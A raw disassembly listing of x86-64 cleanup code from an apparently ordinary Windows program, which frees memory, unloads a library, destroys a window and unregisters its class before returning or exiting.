mov ecx, r14d
add rax, 0x48
cmp byte [rax], r14b
cmovne rcx, rax
call fcn.14002e2a0
mov rcx, qword [0x14017a3f8]
xor r8d, r8d
mov edx, r15d
mov rax, qword [rcx]
call qword [rax + 0x40]
mov ebx, dword [rsp + 0x74]
jmp 0x14003e302
mov rbx, qword [0x14017a020]
test rbx, rbx
je 0x140046154
mov rdi, qword [rbx + 0x98]
jmp 0x140046157
mov rdi, r14
call fcn.14002f240
mov rcx, qword [rdi + 0x10]
test rcx, rcx
je 0x14004616b
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [rdi]
test rcx, rcx
je 0x140046179
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [rdi + 8]
test rcx, rcx
je 0x140046188
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov r8, qword [0x14017a020]
mov qword [rbx + 0x88], r14
mov qword [rbx + 0x98], r14
and dword [rbx + 0xc], 0xfffffff7
test r8, r8
je 0x140046209
movsx rdx, word [r8 + 0x6100]
lea rcx, [r8 + 0x6104]
mov r9d, dword [r8 + 0x3f68]
lea rcx, [rcx + rdx*8]
cmp dword [rcx], r9d
je 0x1400461fe
lea ecx, [rdx + 1]
mov eax, 0x2aaaaaab
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
add eax, eax
sub ecx, eax
mov word [r8 + 0x6100], cx
movsx rax, cx
lea rcx, [r8 + 0x6104]
lea rcx, [rcx + rax*8]
mov dword [rcx], r9d
mov dword [rcx + 4], 0
inc word [rcx + 6]
inc dword [r8 + 0x60fc]
mov rdx, qword [0x14017a010]
mov rcx, rdi
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
mov r8, qword [0x14017a020]
test r8, r8
je 0x14004622d
mov rdi, qword [r8 + 0x90]
jmp 0x140046230
mov rdi, r14
mov rcx, qword [rdi + 0x38]
lea rbx, [r8 + 8]
test rcx, rcx
je 0x14004624a
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov r8, qword [0x14017a020]
mov qword [rbx + 0x78], r14
mov qword [rbx + 0x88], r14
and dword [rbx + 4], 0xfffffff8
test r8, r8
je 0x1400462c1
movsx rdx, word [r8 + 0x6100]
mov r9d, dword [r8 + 0x3f68]
lea rcx, [rdx*8 + 0x6104]
add rcx, r8
cmp dword [rcx], r9d
je 0x1400462b6
lea ecx, [rdx + 1]
mov eax, 0x2aaaaaab
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
add eax, eax
sub ecx, eax
mov word [r8 + 0x6100], cx
movsx rax, cx
lea rcx, [rax*8 + 0x6104]
add rcx, r8
mov dword [rcx], r9d
mov dword [rcx + 4], 0
inc word [rcx + 6]
inc dword [r8 + 0x60fc]
mov rdx, qword [0x14017a010]
mov rcx, rdi
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
mov rbx, qword [0x14017a020]
mov qword [0x14017a020], rbx
call fcn.140006940
mov qword [0x14017a020], r14
test rbx, rbx
je 0x14004637a
mov rcx, rbx
call fcn.14001d200
mov r8, qword [0x14017a020]
test r8, r8
je 0x14004636b
movsx r10, word [r8 + 0x6100]
lea rdx, [r8 + 0x6104]
mov r9d, dword [r8 + 0x3f68]
lea rdx, [rdx + r10*8]
cmp dword [rdx], r9d
je 0x140046360
lea ecx, [r10 + 1]
mov eax, 0x2aaaaaab
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
add eax, eax
lea rdx, [r8 + 0x6104]
sub ecx, eax
mov word [r8 + 0x6100], cx
movsx rax, cx
lea rdx, [rdx + rax*8]
mov dword [rdx], r9d
mov dword [rdx + 4], 0
inc word [rdx + 6]
inc dword [r8 + 0x60fc]
mov rdx, qword [0x14017a010]
mov rcx, rbx
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
call fcn.140046680
mov rcx, qword [0x14017a030]
call qword [sym.imp.USER32.dll_DestroyWindow]
mov rdx, qword [rbp + 0x1088]
mov rcx, qword [rbp + 0x10b0]
call qword [sym.imp.USER32.dll_UnregisterClassW]
mov r15d, r14d
lea rcx, [rbp + 0x1240]
call fcn.140046550
movaps xmm14, xmmword [rsp + 0x1490]
mov eax, r15d
movaps xmm13, xmmword [rsp + 0x14a0]
movaps xmm12, xmmword [rsp + 0x14b0]
movaps xmm11, xmmword [rsp + 0x14c0]
movaps xmm10, xmmword [rsp + 0x14d0]
movaps xmm9, xmmword [rsp + 0x14e0]
movaps xmm8, xmmword [rsp + 0x14f0]
movaps xmm7, xmmword [rsp + 0x1500]
movaps xmm6, xmmword [rsp + 0x1510]
mov r13, qword [rsp + 0x1520]
mov r12, qword [rsp + 0x1528]
movaps xmm15, xmmword [rsp + 0x1480]
mov rsi, qword [rsp + 0x1558]
mov rbx, qword [rsp + 0x1550]
mov rdi, qword [rsp + 0x1560]
mov rcx, qword [rbp + 0x1378]
xor rcx, rsp
call fcn.1400b01f0
add rsp, 0x1530
pop r15
pop r14
pop rbp
ret
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov ecx, r15d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 6
mov dword [rbp - 0x68], r14d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
call fcn.14003bb70
int3
call fcn.1400328b0
int3